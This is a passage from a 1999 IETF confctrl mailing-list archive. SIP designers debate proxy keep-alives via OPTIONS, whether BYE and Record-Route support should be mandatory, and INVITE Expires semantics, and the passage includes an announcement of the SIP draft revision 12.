	for <confctrl@zephyr.isi.edu>; Sun, 17 Jan 1999 19:00:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA01888
	for <confctrl@isi.edu>; Sun, 17 Jan 1999 19:00:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Sun Jan 17 21:59:12 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.105])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA06021;
	Sun, 17 Jan 1999 21:59:09 -0500 (EST)
Message-ID: <36A2A345.8817A560@dnrc.bell-labs.com>
Date: Sun, 17 Jan 1999 21:58:13 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistancies
References: <199901140349.VAA27266@b04a24.exu.ericsson.se> <36A00031.8BDB833B@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> >    A possible solution would involve the addition of another request
> >    method, "PING," which could determine if a call leg is active at the
> >    ping'ed server.  The semantics of such a method (responses of 1xx,
> >    200, and 481; sufficient headers to identify a leg; etc.) should
> >    be obvious. If anyone has any different ideas, please introduce
> >    them. I can draft out some language to describe a PING method in
> >    detail for possible inclusion in a future draft, if there is interest.
> 
> There may well be circumstances where a keep-alive is useful. Given the
> obvious costs in terms of packets and processing, I want to be sure that
> there are (a) no other alternatives, (b) we can actually gain something.
> If we want to, a client can already send OPTIONS requests as
> keep-alives, and the called client can do a re-INVITE. What is missing
> is for a proxy to say "don't just route a request my way whenever you
> feel like sending a request, generate one every N seconds".  The
> complexity arises if we allow several proxies to specify different
> values for N, as an emotionally unsecure proxy in constant need of being
> reminded of the affection of the caller can burden all the other proxies
> along the way with these keep-alive messages. I'd be far less worried if
> this is primarily to time out state rather than (say) terminate billing
> for a call. In that case, a keep-alive on the order of a typical call
> duration (four minutes) would be sufficient and have more modest impact
> on packet processing load.

I agree that if you want it, OPTIONS is precisely the method for this
function.

You can solve the "proxy telling the client the frequency for the
keepalives" problem by having the proxy send the OPTIONS request to the
UAS's of both the caller and callee, if it likes. This means that the
frequency becomes a purely local decision, and the choice has no impact
on the other proxies. Of course, it affects the user agents, but I don't
see this as a major problem there.

Note that a "ping" using an OPTIONS from a proxy can establish the
liveness of the UAS. However, it cannot be used to ascertain whether the
user is in a call or not. If the user has left the call, but never sent
a BYE (or didn't send the BYE through a proxy), its UAS will still
respond to OPTIONS requests.

> 
> For billing of PSTN-terminated calls, media-based timeout are, in my
> opinion, a far better solution, as they can prevent the
> phone-off-the-hook-after-a-call-to-Australia problem.

I agree. It was argued that using session based timeouts broke the
modularity of SIP; I disagree. Modularity does not imply lack of
communication between components, but rather a clean separation of
function. Determining session liveness is best done with the protocols
and machinery of the session type. This information can then be passed
to the SIP engine, if needed.



> >    There are a few scenarios where this comes into effect; most
> >    of them involve AIN-like services being implemented in a
> >    proxy or relocation server. For example, a proxy that does
> >    not maintain a call record for the duration of the call (only
> >    until the final response from an INVITE) may choose to implement
> >    a service which attempts to reach a user at different locations
> >    based on a time table. When such a proxy receives a BYE
> >    request, it is unclear to which destination it should be routed,
> >    since it depends on the initiation time of the call -- information
> >    to which the proxy has no access.
> 
> Good point/example.

Actually, I don't see this as a problem. Lets say the proxy uses a
Record-Route header, and that the UAS sends a Contact header in the
response to the INVITE. According to the spec, the UAC is supposed to
copy the Record Route contents into the Route header, and also add the
contents of the Contact header as the last host on the source route.
Now, when the UAC sends a BYE, it goes to the proxy (because of the
Route header). The proxy will know the address of the UAS to deliver it
to NOT based on the AIN logic, but based on the next address in the
Route header, which the proxy is supposed to use for the next hop
server. So, there is no problem when a Contact header is present, or
there is another proxy using Record-Route downstream from a given proxy.

Even if the proxy was the last on the Route chain, and so it delivers
the request to lots of target UAS's, the tag in the To field will ensure
that only the correct one processes the request.

> 
> >
> >    The insertion of a "Contact" field by a proxy in this and similar
> >    circumstances must force redirection of ACK and BYE requests to
> >    prevent undesirable results.

No, a proxy would insert a Record-Route for this, not a Contact header.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jan 18 01:28:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA28515
	for confctrl-outgoing; Mon, 18 Jan 1999 01:28:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA28510
	for <confctrl@zephyr.isi.edu>; Mon, 18 Jan 1999 01:28:19 -0800 (PST)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA13388
	for <confctrl@ISI.EDU>; Mon, 18 Jan 1999 01:28:17 -0800 (PST)
Received: (qmail 961 invoked from network); 18 Jan 1999 10:28:14 +0100
Received: from du58-246.ppp.algonet.se (HELO felix.intertex.se) (195.100.246.58)
  by hromeo.algonet.se with SMTP; 18 Jan 1999 10:28:14 +0100
Received: from 192.168.0.42 by felix.intertex.se ([192.168.0.3] running VPOP3) with SMTP; Mon, 18 Jan 1999 10:19:37 +0100
Message-ID: <36A2FFF5.6400DBA1@intertex.se>
Date: Mon, 18 Jan 1999 10:33:41 +0100
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i586)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistancies
References: <199901140349.VAA27266@b04a24.exu.ericsson.se> <36A00031.8BDB833B@cs.columbia.edu> <36A2A345.8817A560@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Server: VPOP3 V1.3.0 - Registered to: Intertex Data AB
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
>... 
> I agree that if you want it, OPTIONS is precisely the method for this
> function.
> 
> You can solve the "proxy telling the client the frequency for the
> keepalives" problem by having the proxy send the OPTIONS request to the
> UAS's of both the caller and callee, if it likes. This means that the
> frequency becomes a purely local decision, and the choice has no impact
> on the other proxies. Of course, it affects the user agents, but I don't
> see this as a major problem there.
> 
> Note that a "ping" using an OPTIONS from a proxy can establish the
> liveness of the UAS. However, it cannot be used to ascertain whether the
> user is in a call or not. If the user has left the call, but never sent
> a BYE (or didn't send the BYE through a proxy), its UAS will still
> respond to OPTIONS requests.


Why isn't it mandatory for a client to send a BYE when the call is to be
terminated? If it was stated in the spec that a client MUST send a BYE
when
releasing a call, I think it will help here. Together with some kind of
keep-alive mechanism you are describing ( and Record-Route support, see
below )
it would, as far as I can see, give the proxy enough information to know
when 
a call terminates. Correct me if I am wrong.

>...
> > >    There are a few scenarios where this comes into effect; most
> > >    of them involve AIN-like services being implemented in a
> > >    proxy or relocation server. For example, a proxy that does
> > >    not maintain a call record for the duration of the call (only
> > >    until the final response from an INVITE) may choose to implement
> > >    a service which attempts to reach a user at different locations
> > >    based on a time table. When such a proxy receives a BYE
> > >    request, it is unclear to which destination it should be routed,
> > >    since it depends on the initiation time of the call -- information
> > >    to which the proxy has no access.
> >
> > Good point/example.
> 
> Actually, I don't see this as a problem. Lets say the proxy uses a
> Record-Route header, and that the UAS sends a Contact header in the
> response to the INVITE. According to the spec, the UAC is supposed to
> copy the Record Route contents into the Route header, and also add the
> contents of the Contact header as the last host on the source route.


This is done by UAC:s that support Record-Route. But the text to Table 6
in
sip-11 states that:
   "Headers whose support is optional for all implementations are not
shown."

And since Record-Route is not listed, I draw the conclusion that not all
UAC:s
will support Record-Route, and hence, a proxy server adding itself to a
Record-
Route header cannot be sure to receive the remaining requests for a call
leg.

Is making Record-Route mandatory for user agents a bad idea?

Thanks,
Lars Berggren

From confctrl-owner  Tue Jan 19 08:15:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA23827
	for confctrl-outgoing; Tue, 19 Jan 1999 08:15:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23822
	for <confctrl@zephyr.isi.edu>; Tue, 19 Jan 1999 08:15:24 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23563
	for <confctrl@isi.edu>; Tue, 19 Jan 1999 08:15:21 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id LAA13905;
	Tue, 19 Jan 1999 11:14:47 -0500 (EST)
Message-Id: <199901191614.LAA13905@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-12.txt,.ps
Date: Tue, 19 Jan 1999 11:14:47 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

Note: This revision reflects comments received during the last call period.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg
	Filename	: draft-ietf-mmusic-sip-12.txt,.ps
	Pages		: 149
	Date		: 18-Jan-99
	
         The Session Initiation Protocol (SIP) is an application-
         layer control (signaling) protocol for creating,
         modifying and terminating sessions with one or more
         participants. These sessions include Internet multimedia
         conferences, Internet telephone calls and multimedia
         distribution. Members in a session can communicate via
         multicast or via a mesh of unicast relations, or a
         combination of these.
 
         SIP invitations used to create sessions carry session
         descriptions which allow participants to agree on a set
         of compatible media types. SIP supports user mobility by
         proxying and redirecting requests to the user's current
         location. Users can register their current location.  SIP
         is not tied to any particular conference control
         protocol. SIP is designed to be independent of the
         lower-layer transport protocol and can be extended with
         additional capabilities.
 
         This document is a product of the Multi-party Multimedia
         Session Control (MMUSIC) working group of the Internet
         Engineering Task Force.  Comments are solicited and
         should be addressed to the working group's mailing list
         at confctrl@isi.edu and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-12.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-12.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-12.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990118162929.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-12.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-12.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990118162929.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jan 20 09:33:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA12831
	for confctrl-outgoing; Wed, 20 Jan 1999 09:33:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA12826
	for <confctrl@zephyr.isi.edu>; Wed, 20 Jan 1999 09:33:34 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02175
	for <confctrl@ISI.EDU>; Wed, 20 Jan 1999 09:33:31 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA21222;
	Wed, 20 Jan 1999 12:33:25 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA25294;
	Wed, 20 Jan 1999 12:33:22 -0500 (EST)
Message-ID: <36A61362.316641F8@cs.columbia.edu>
Date: Wed, 20 Jan 1999 12:33:22 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: TDorcey@ixl.com
CC: Adam.Roach@Ericsson.com, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistancies
References: <199901140349.VAA27266@b04a24.exu.ericsson.se> <v03102807b2c6a576b96c@[216.99.5.83]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

TDorcey@ixl.com wrote:
> 
> At 7:57 PM -0700 1/15/99, Henning Schulzrinne wrote:
> >along the way with these keep-alive messages. I'd be far less worried if
> >this is primarily to time out state rather than (say) terminate billing
> >for a call. In that case, a keep-alive on the order of a typical call
> >duration (four minutes) would be sufficient and have more modest impact
> >on packet processing load.
> >
> >For billing of PSTN-terminated calls, media-based timeout are, in my
> >opinion, a far better solution, as they can prevent the
> >phone-off-the-hook-after-a-call-to-Australia problem.
> 
> I think SIP state time-out is a significant issue and at least deserves
> some discussion in the spec.  E.g., I don't want to spontaneously accept a
> call from someone I was connected to last week because a BYE never arrived,
> and I don't want "new call" alerts to appear in the middle of conversations
> due to transient network problems.  I realize that these issues can be
> dealt with at the application level, but it seems awkward that SIP creates
> and acts upon "in conference" state, yet requires unspecified mechanisms to
> remove it.

On a more tactical note, I would think that given the uncertainty as to
what's desired, we should not try to modify the current spec, about to
be declared a proposed standard, but rather work on an extension, since
SIP has a pretty clean method of adding those. We can then experiment
with different options and proceed as we gain confidence in the
solution.

> 
> I understand the point that a SIP keep alive would typically be redundant
> with media exchange, but I don't believe this is universally true.  E.g.,
> suppose I want to monitor a sleeping infant, and I use a media encoding
> that doesn't transmit anything during periods of inactivity.  I can imagine
> other "shared presence" applications, where little media is exchanged, the
> point is in the potential.  I don't believe a media transport agent has any
> intrinsic "keep alive" responsibilities; it simply must insure that WHEN it
> is transmitting data, there is someone to receive it.  What needs to be
> "kept alive" (or, actually, allowed to time-out) is the "in conference"
> state.  I don't think we can assume that the desired liveliness of the "in
> conference" state is proportional to the liveliness of the media exchange.
> 
> How about something like a DURATION or TTL parameter on the INVITE?  So,
> the meaning would be something like "I invite you to be in conference with
> me for the next 4 minutes."  Re-INVITEs would need to be sent periodically
> to keep the conference going.  I have not got into the spec enough to
> understand all of the implications of this, but it seems straightforward in
> principle.

Note that the session description (at least for SDP) already has
duration information. INVITE does have an Expires header. See the
following text:

For {\INVITE} requests, it is a request and response-header field.  In a
request, the caller can limit the validity of an invitation, for
example, if a client wants to limit the time duration of a search or a
conference invitation.  A user interface {\MAY} take this as a hint to
leave the invitation window on the screen even if the user is not
currently at the workstation.  This also limits the duration of a
search.  If the request expires before the search completes, the proxy
returns a 408 (Request Timeout) status.  In a 302 (Moved Temporarily)
response, a server can advise the client of the maximal duration of the
redirection.


> 
> Tim
> 
> Tim Dorcey
> iXL-Los Angeles
> tdorcey@ixl.com
> (310) 235-3928

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Jan 20 10:24:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA15235
	for confctrl-outgoing; Wed, 20 Jan 1999 10:24:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15230
	for <confctrl@zephyr.isi.edu>; Wed, 20 Jan 1999 10:24:42 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08175
	for <confctrl@ISI.EDU>; Wed, 20 Jan 1999 10:24:39 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA24446;
	Wed, 20 Jan 1999 13:24:36 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA26648;
	Wed, 20 Jan 1999 13:24:34 -0500 (EST)
Message-ID: <36A61F62.3E96BBF5@cs.columbia.edu>
Date: Wed, 20 Jan 1999 13:24:34 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistancies
References: <199901140349.VAA27266@b04a24.exu.ericsson.se> <36A00031.8BDB833B@cs.columbia.edu> <36A2A345.8817A560@dnrc.bell-labs.com> <36A2FFF5.6400DBA1@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> Jonathan Rosenberg wrote:
> >
> >...
> > I agree that if you want it, OPTIONS is precisely the method for this
> > function.
> >
> > You can solve the "proxy telling the client the frequency for the
> > keepalives" problem by having the proxy send the OPTIONS request to the
> > UAS's of both the caller and callee, if it likes. This means that the
> > frequency becomes a purely local decision, and the choice has no impact
> > on the other proxies. Of course, it affects the user agents, but I don't
> > see this as a major problem there.
> >
> > Note that a "ping" using an OPTIONS from a proxy can establish the
> > liveness of the UAS. However, it cannot be used to ascertain whether the
> > user is in a call or not. If the user has left the call, but never sent
> > a BYE (or didn't send the BYE through a proxy), its UAS will still
> > respond to OPTIONS requests.
> 
> Why isn't it mandatory for a client to send a BYE when the call is to be
> terminated? If it was stated in the spec that a client MUST send a BYE
> when
> releasing a call, I think it will help here. Together with some kind of
> keep-alive mechanism you are describing ( and Record-Route support, see
> below )
> it would, as far as I can see, give the proxy enough information to know
> when
> a call terminates. Correct me if I am wrong.

Currently, the spec says "SHOULD send a BYE". Since this means "unless
there's a really good reason not to do this, do it", this seems like
pretty close to what you want and I'm not sure it's worth arguing
whether this should really say MUST instead. As was pointed out earlier,
you can't absolutely rely on the presence of a BYE, whether the spec
says MUST or SHOULD. There may be exceptional circumstances, such as
multicast INVITEs, where a BYE may not be desirable. Also, with
one-directional multicast networks, the callee may not be able to send a
BYE. Note that a SIP implementation that doesn't send BYEs would only be
conditionally compliant, so you can send out the protocol police if a
vendor claims full compliance, but doesn't do BYE...


> 
> Is making Record-Route mandatory for user agents a bad idea?

Yes, I believe, since it increases the complexity for minimal clients.
Again, I think you overestimate the power of specifications. Just
putting it there doesn't make all implementations do it. The higher you
raise the bar, the fewer are likely to actually comply. Record-Route is
a particular example, since many really simple implementations will send
all requests to a local proxy, who can then do "the right thing" in
terms of routing, so that you get the right effect without the UA
supporting it.

> 
> Thanks,
> Lars Berggren

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Jan 20 12:24:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA20850
	for confctrl-outgoing; Wed, 20 Jan 1999 12:24:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA20812
	for <confctrl@zephyr.isi.edu>; Wed, 20 Jan 1999 12:24:13 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA19896
	for <confctrl@isi.edu>; Wed, 20 Jan 1999 12:24:11 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jan 20 15:23:46 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.68])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA01934;
	Wed, 20 Jan 1999 15:23:43 -0500 (EST)
Message-ID: <36A63B19.F36DA9EC@dnrc.bell-labs.com>
Date: Wed, 20 Jan 1999 15:22:49 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Lars Berggren <lars.berggren@intertex.se>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistancies
References: <199901140349.VAA27266@b04a24.exu.ericsson.se> <36A00031.8BDB833B@cs.columbia.edu> <36A2A345.8817A560@dnrc.bell-labs.com> <36A2FFF5.6400DBA1@intertex.se> <36A61F62.3E96BBF5@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
>
> > Why isn't it mandatory for a client to send a BYE when the call is to be
> > terminated? If it was stated in the spec that a client MUST send a BYE
> > when
> > releasing a call, I think it will help here. Together with some kind of
> > keep-alive mechanism you are describing ( and Record-Route support, see
> > below )
> > it would, as far as I can see, give the proxy enough information to know
> > when
> > a call terminates. Correct me if I am wrong.
> 
> Currently, the spec says "SHOULD send a BYE". Since this means "unless
> there's a really good reason not to do this, do it", this seems like
> pretty close to what you want and I'm not sure it's worth arguing
> whether this should really say MUST instead. As was pointed out earlier,
> you can't absolutely rely on the presence of a BYE, whether the spec
> says MUST or SHOULD. There may be exceptional circumstances, such as
> multicast INVITEs, where a BYE may not be desirable. Also, with
> one-directional multicast networks, the callee may not be able to send a
> BYE. Note that a SIP implementation that doesn't send BYEs would only be
> conditionally compliant, so you can send out the protocol police if a
> vendor claims full compliance, but doesn't do BYE...

Another case where BYE probably shouldn't be sent is when I invite a
user to an mbone session. In this case, the media being exchanged are
not between myself and that other user, so there is really no need for
the BYE. The session description itself in this case conveys the
duration of the session.

> 
> >
> > Is making Record-Route mandatory for user agents a bad idea?
> 
> Yes, I believe, since it increases the complexity for minimal clients.
> Again, I think you overestimate the power of specifications. Just
> putting it there doesn't make all implementations do it. The higher you
> raise the bar, the fewer are likely to actually comply. Record-Route is
> a particular example, since many really simple implementations will send
> all requests to a local proxy, who can then do "the right thing" in
> terms of routing, so that you get the right effect without the UA
> supporting it.

It is possible to separate the Record-Route processsing into two
distinct steps:

1. The Record-Route list from a response must be inverted and placed in
the Route header in subsequent requests from the UAC
2. Subsequent requests from the UAC are sent to the first server on the
Route list

(1) can be made mandatory (SHOULD strength), but (2) can be MAY. A UAC
can send a request directly to a preconfigured proxy always, without
removing the top Route header. The proxy can then look at the Route
headers and forward the request to the first proxy, as it normally
would. A proxy would need to additionally check that the top proxy on
the list is not itself, however.

As Henning has mentioned, there are issues though in that we are going
to proposed very soon.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jan 20 12:30:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA21085
	for confctrl-outgoing; Wed, 20 Jan 1999 12:30:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21072
	for <confctrl@zephyr.isi.edu>; Wed, 20 Jan 1999 12:30:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA20651
	for <confctrl@isi.edu>; Wed, 20 Jan 1999 12:30:03 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jan 20 15:28:08 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.68])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA02004;
	Wed, 20 Jan 1999 15:28:05 -0500 (EST)
Message-ID: <36A63C1F.ED052A8E@dnrc.bell-labs.com>
Date: Wed, 20 Jan 1999 15:27:11 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: TDorcey@ixl.com, Adam.Roach@Ericsson.com, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistancies
References: <199901140349.VAA27266@b04a24.exu.ericsson.se> <v03102807b2c6a576b96c@[216.99.5.83]> <36A61362.316641F8@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 

> > I understand the point that a SIP keep alive would typically be redundant
> > with media exchange, but I don't believe this is universally true.  E.g.,
> > suppose I want to monitor a sleeping infant, and I use a media encoding
> > that doesn't transmit anything during periods of inactivity.  I can imagine
> > other "shared presence" applications, where little media is exchanged, the
> > point is in the potential.  I don't believe a media transport agent has any
> > intrinsic "keep alive" responsibilities; it simply must insure that WHEN it
> > is transmitting data, there is someone to receive it.  What needs to be
> > "kept alive" (or, actually, allowed to time-out) is the "in conference"
> > state.  I don't think we can assume that the desired liveliness of the "in
> > conference" state is proportional to the liveliness of the media exchange.
> >
> > How about something like a DURATION or TTL parameter on the INVITE?  So,
> > the meaning would be something like "I invite you to be in conference with
> > me for the next 4 minutes."  Re-INVITEs would need to be sent periodically
> > to keep the conference going.  I have not got into the spec enough to
> > understand all of the implications of this, but it seems straightforward in
> > principle.
> 
> Note that the session description (at least for SDP) already has
> duration information. INVITE does have an Expires header. See the
> following text:
> 
> For {\INVITE} requests, it is a request and response-header field.  In a
> request, the caller can limit the validity of an invitation, for
> example, if a client wants to limit the time duration of a search or a
> conference invitation.  A user interface {\MAY} take this as a hint to
> leave the invitation window on the screen even if the user is not
> currently at the workstation.  This also limits the duration of a
> search.  If the request expires before the search completes, the proxy
> returns a 408 (Request Timeout) status.  In a 302 (Moved Temporarily)
> response, a server can advise the client of the maximal duration of the
> redirection.

The Expires header is close but not the same thing we are talking about,
though. Expires limits the duration of the invitation, not the session.
Once the invitation is accepted, the Expires header has no meaning. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jan 20 13:06:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA22617
	for confctrl-outgoing; Wed, 20 Jan 1999 13:06:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22612
	for <confctrl@zephyr.isi.edu>; Wed, 20 Jan 1999 13:06:19 -0800 (PST)
